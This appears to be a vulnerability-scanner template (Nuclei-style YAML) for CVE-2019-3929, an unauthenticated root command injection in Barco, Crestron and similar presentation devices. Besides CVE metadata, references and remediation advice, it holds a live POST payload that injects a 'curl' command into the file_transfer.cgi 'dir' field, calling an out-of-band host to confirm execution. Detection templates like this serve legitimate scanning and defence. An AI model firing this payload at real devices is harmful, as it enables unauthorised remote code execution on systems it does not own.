Barco/AWIND OEM Presentation Platform - Remote Command Injection

id: CVE-2019-3929

info:
  name: Barco/AWIND OEM Presentation Platform - Remote Command Injection
  author: _0xf4n9x_
  severity: critical
  description: The Crestron AM-100 firmware 1.6.0.2, Crestron AM-101 firmware 2.7.0.1, Barco wePresent WiPG-1000P firmware 2.3.0.10, Barco wePresent WiPG-1600W before firmware 2.4.1.19, Extron ShareLink 200/250 firmware 2.0.3.4, Teq AV IT WIPS710 firmware 1.1.0.7, SHARP PN-L703WA firmware 1.4.2.3, Optoma WPS-Pro firmware 1.0.0.5, Blackbox HD WPS firmware 1.0.0.5, InFocus LiteShow3 firmware 1.0.16, and InFocus LiteShow4 2.0.0.7 are vulnerable to command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated attacker can use this vulnerability to execute operating system commands as root.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/152715/Barco-AWIND-OEM-Presentation-Platform-Unauthenticated-Remote-Command-Injection.html
    - https://www.exploit-db.com/exploits/46786/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3929
    - https://www.tenable.com/security/research/tra-2019-20
    - http://packetstormsecurity.com/files/155948/Barco-WePresent-file_transfer.cgi-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-3929
    cwe-id: CWE-78,CWE-79
    epss-score: 0.98952
    epss-percentile: 0.99923
    cpe: cpe:2.3:o:crestron:am-100_firmware:1.6.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: crestron
    product: am-100_firmware
  tags: cve,cve2019,tenable,oast,injection,kev,edb,rce,packetstorm,crestron,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/cgi-bin/file_transfer.cgi"

    body: "file_transfer=new&dir=%27Pa_Noteexpr%20curl%2b{{interactsh-url}}Pa_Note%27"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
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